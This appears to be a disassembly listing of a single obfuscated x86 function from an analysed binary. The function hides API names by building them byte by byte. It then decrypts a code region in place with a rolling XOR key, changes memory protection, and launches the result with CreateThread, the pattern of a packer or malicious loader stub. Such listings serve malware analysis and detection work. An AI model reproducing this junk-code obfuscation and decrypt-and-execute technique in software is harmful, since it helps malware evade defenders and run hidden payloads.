Function at 0x295ccf5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push edx
push ebx
pop ebx
pop edx
call fcn.0295d0c6
xchg ecx, ebx
xchg ebx, ecx
lea eax, [ebp - 0xd8]
xchg edi, esi
xchg esi, edi
pushfd
push edx
add esp, 4
popfd
mov ebx, 0x61
xchg ecx, esi
xchg esi, ecx
add bx, 0xa
xchg edx, ebx
xchg ebx, edx
push ebx
pop ebx
mov word [eax], bx
pushfd
xor ecx, 0x1b0ebf2a
xor ecx, 0x1b0ebf2a
popfd
sub bx, 6
pushfd
push eax
add esp, 4
popfd
mov word [eax + 2], bx
mov ecx, ecx
add bx, 0xd
pushfd
xor ebx, 0xffac776a
xor ebx, 0xffac776a
popfd
mov word [eax + 4], bx
pushfd
inc esi
dec esi
popfd
pushfd
inc ecx
dec ecx
popfd
sub bx, 4
pushfd
xor ecx, 0x54a3c4c1
xor ecx, 0x54a3c4c1
popfd
mov word [eax + 6], bx
xchg edx, ecx
xchg ecx, edx
sub bx, 9
mov edx, edx
mov word [eax + 8], bx
mov esi, esi
add bx, 7
xchg ebx, edx
xchg edx, ebx
mov word [eax + 0xa], bx
pushfd
xor ebx, 0x31f6e0db
xor ebx, 0x31f6e0db
popfd
sub bx, 0x39
mov ebx, ebx
xchg edx, edx
mov word [eax + 0xc], bx
push ecx
push esi
pop esi
pop ecx
pushfd
push 0x17959a4
add esp, 4
popfd
dec bx
push esi
pop esi
mov word [eax + 0xe], bx
push ebx
pop ebx
sub bx, 4
pushfd
inc esi
dec esi
popfd
pushfd
push 0xfba538bc
add esp, 4
popfd
mov word [eax + 0x10], bx
pushfd
push edi
add esp, 4
popfd
add bx, 0x36
mov ebx, ebx
mov word [eax + 0x12], bx
push edx
push edi
pop edi
pop edx
add bx, 8
push ebx
push eax
pop eax
pop ebx
xchg esi, eax
xchg esi, eax
mov word [eax + 0x14], bx
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0x16], bx
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0x18], 0
push ecx
pop ecx
mov edx, edx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
mov edx, edx
mov dword [ebp - 0x10], eax
xchg ecx, eax
xchg ecx, eax
lea eax, [ebp - 0xd8]
mov esi, esi
push eax
pop eax
mov ebx, 0x61
push esi
pop esi
sub bl, 0xb
xchg ecx, eax
xchg ecx, eax
mov byte [eax], bl
pushfd
push edi
add esp, 4
popfd
add bl, 0x13
pushfd
push 0x61707d4a
add esp, 4
popfd
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 1], bl
pushfd
push 0xbde8f0c0
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 9
pushfd
inc eax
dec eax
popfd
mov byte [eax + 2], bl
pushfd
xor edx, 0xe4de63a7
xor edx, 0xe4de63a7
popfd
add bl, 2
pushfd
xor ecx, 0xfc575f39
xor ecx, 0xfc575f39
popfd
push edx
push eax
pop eax
pop edx
mov byte [eax + 3], bl
pushfd
xor esi, 0x8e15974d
xor esi, 0x8e15974d
popfd
inc bl
pushfd
xor esi, 0xaf0e0445
xor esi, 0xaf0e0445
popfd
mov byte [eax + 4], bl
pushfd
push edx
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x14
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 5], bl
push ebx
pop ebx
pushfd
inc esi
dec esi
popfd
add bl, 0xb
pushfd
inc eax
dec eax
popfd
mov byte [eax + 6], bl
xchg ecx, esi
xchg esi, ecx
pushfd
push 0xe1fc31f
add esp, 4
popfd
sub bl, 0x1c
xchg edx, eax
xchg edx, eax
pushfd
xor eax, 0xe4291f5e
xor eax, 0xe4291f5e
popfd
mov byte [eax + 7], bl
push edi
push eax
pop eax
pop edi
pushfd
push 0xc40de55b
add esp, 4
popfd
add bl, 0x22
pushfd
xor ebx, 0x664f629a
xor ebx, 0x664f629a
popfd
xchg edx, esi
xchg esi, edx
mov byte [eax + 8], bl
push edx
push esi
pop esi
pop edx
sub bl, 3
push esi
pop esi
mov byte [eax + 9], bl
pushfd
push eax
add esp, 4
popfd
xchg ecx, ecx
add bl, 5
xchg edi, edx
xchg edx, edi
mov byte [eax + 0xa], bl
pushfd
push eax
add esp, 4
popfd
push esi
pop esi
sub bl, 0xf
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 0xb], bl
push ecx
push ebx
pop ebx
pop ecx
pushfd
xor ebx, 0xf7941e21
xor ebx, 0xf7941e21
popfd
sub bl, 2
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xc], bl
mov eax, eax
add bl, 0x11
push eax
pop eax
mov byte [eax + 0xd], bl
mov ebx, ebx
pushfd
push 0xbbcd997
add esp, 4
popfd
mov byte [eax + 0xe], 0
push ebx
pop ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push esi
push eax
pop eax
pop esi
mov dword [ebp - 0xc], eax
mov ebx, ebx
lea eax, [ebp - 8]
pushfd
push 0x9605461c
add esp, 4
popfd
push eax
push 4
push 0x18e7def
push entry0
call dword [ebp - 0xc]
xchg esi, ecx
into
xchg ecx, esi
mov edi, entry0
push eax
pop eax
mov esi, 0x40100e
nop
push ecx
push edi
pop edi
pop ecx
mov ecx, 0x18e7def
pushfd
push ebx
add esp, 4
popfd
mov edx, edx
mov edx, 0xeae99fca
xchg ecx, esi
xchg esi, ecx
mov ebx, 0x351ade34
xchg edx, edx
pushfd
push 0x362a287e
add esp, 4
popfd
cld
xchg edx, edx
lodsb al, byte [esi]
xchg edx, edx
xor al, dl
mov ecx, ecx
stosb byte es:[edi], al
mov eax, eax
ror edx, 5
mov esi, esi
imul edx, edx, 7
xchg edi, edi
test ebx, 1
nop
je 0x295d02c
nop
add esi, 1
mov ecx, ecx
ror ebx, 1
nop
dec ecx
xchg ebx, ebx
test ecx, ecx
mov esi, esi
jne 0x295d007
mov edx, edx
lea eax, [ebp - 8]
xchg edx, eax
xchg edx, eax
xchg edi, edi
push eax
push 0x20
push 0x18e7def
push entry0
call dword [ebp - 0xc]
pushfd
push 0xe8ebefa
add esp, 4
popfd
lea eax, [ebp - 4]
pushfd
push 0xda96b306
add esp, 4
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
xchg ebx, ebx
mov edi, edi
xchg edi, edx
xchg edx, edi
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
xor eax, 0x6a7f43a5
xor eax, 0x6a7f43a5
popfd
pushfd
push 0x78b769b3
add esp, 4
popfd
jmp 0x295d080